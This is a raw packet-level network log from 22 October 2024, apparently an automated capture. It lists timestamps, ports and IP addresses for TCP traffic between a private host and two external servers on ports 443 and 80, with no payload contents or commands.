Oct 22, 2024 19:24:31.778635025 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.778666973 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.778800964 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.778829098 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.778836012 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.778848886 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.778955936 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.778979063 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.778996944 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.779108047 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.779134035 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.788767099 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.788911104 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.788938999 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.788955927 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.789000034 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.789577961 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:33.688462973 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:33.688549042 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:33.688616991 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:33.688770056 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:33.688783884 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:33.717892885 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:33.717924118 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:33.718135118 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:33.718312979 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:33.718317032 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:34.335279942 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:34.335362911 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:34.336601973 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:34.336607933 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:34.337068081 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:34.338236094 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:34.338278055 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:34.338313103 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:34.839425087 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:34.839513063 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:34.839560032 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:34.842067003 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:34.842078924 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:34.842094898 CEST	49714	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:34.842098951 CEST	443	49714	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:34.844337940 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:34.851058960 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:34.851269960 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:34.851269960 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:34.856599092 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756297112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756318092 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756335020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756397009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756413937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756438971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756453037 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.756453037 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.756455898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756474018 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756496906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756520987 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.756524086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.756524086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.758063078 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.761836052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.813302040 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.906126022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.906183958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.906218052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.906256914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.906291008 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.906322956 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.906635046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.906670094 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.906704903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.906738997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.906743050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.906821966 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.907569885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.907604933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.907638073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.907716036 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.908058882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.908113956 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.908149004 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.908184052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.908217907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.908262014 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.909037113 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.909071922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.909109116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.909110069 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.909145117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.909152985 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.910039902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.911001921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.911247969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:35.911737919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.911818027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:35.911895990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.069303989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.069363117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.069412947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.069447994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.069480896 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.069483042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.069519043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.069538116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.069552898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.069648981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.069667101 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.069735050 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.070228100 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.070278883 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.070313931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.070349932 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.070384026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.070394039 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.070394039 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.070419073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.070453882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.070703030 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.073923111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.073975086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.073976040 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.074227095 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074259996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074316978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074348927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074357986 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.074358940 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.074383974 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074418068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074451923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074486017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074508905 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.074508905 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.074609041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074641943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074675083 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074708939 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.074775934 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074783087 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.074856997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074906111 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.074912071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074949026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.074991941 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.074997902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075233936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075284958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075331926 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.075334072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075407982 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.075509071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075561047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075613022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075650930 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.075663090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075696945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075731039 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075766087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075778961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.075778961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.075799942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075834990 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075869083 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.075915098 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.076445103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.076494932 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.076529026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.076562881 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.076576948 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.076596975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.077374935 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.125282049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.225327969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.225353956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.225368023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.225392103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.225398064 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.225408077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.225446939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.225461006 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.225466967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.225476980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.225518942 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.225518942 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.226165056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.226248026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.226274014 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.226289988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.226305962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.226320982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.226331949 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.226331949 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.226382971 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227122068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227231979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227253914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227272034 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227304935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227344990 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227358103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227374077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227377892 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227390051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227405071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227406025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227420092 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227456093 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227456093 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227649927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227663040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227678061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227725983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227739096 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227754116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227768898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227781057 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227781057 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227783918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227798939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227838039 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227838039 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227866888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227881908 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227895975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.227933884 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.227933884 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.229022026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.229186058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.229201078 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.229214907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.229252100 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.229252100 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.229288101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.229347944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.229368925 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.229374886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.229427099 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.229427099 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.230012894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.230364084 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.230719090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.230734110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.230750084 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.230765104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.230767965 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.230767965 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.231009007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231112957 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231128931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231146097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231158972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231163025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.231163025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.231337070 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.231549025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231609106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231669903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231683969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231700897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231707096 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.231878996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231894016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231909990 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231925011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231940031 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.231940031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231940031 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.231956005 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231971979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231988907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.231992960 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.231992960 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.232004881 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.232018948 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.232034922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.232049942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.232059002 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.232059002 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.232510090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382060051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382075071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382097006 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382112026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382127047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382136106 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382143021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382198095 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382198095 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382224083 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382240057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382256031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382296085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382313013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382347107 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382347107 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382602930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382616997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382631063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382673979 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382673979 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382720947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382736921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382822037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382837057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382852077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382865906 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382868052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382884979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382899046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382906914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382906914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382915974 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382930994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.382936001 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.382977962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383003950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383018017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383042097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383054018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383054018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383059978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383068085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383102894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383111000 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383111000 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383158922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383196115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383275032 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383310080 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383310080 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383346081 CEST	80	49717	185.215.113.16	192.168.2.8
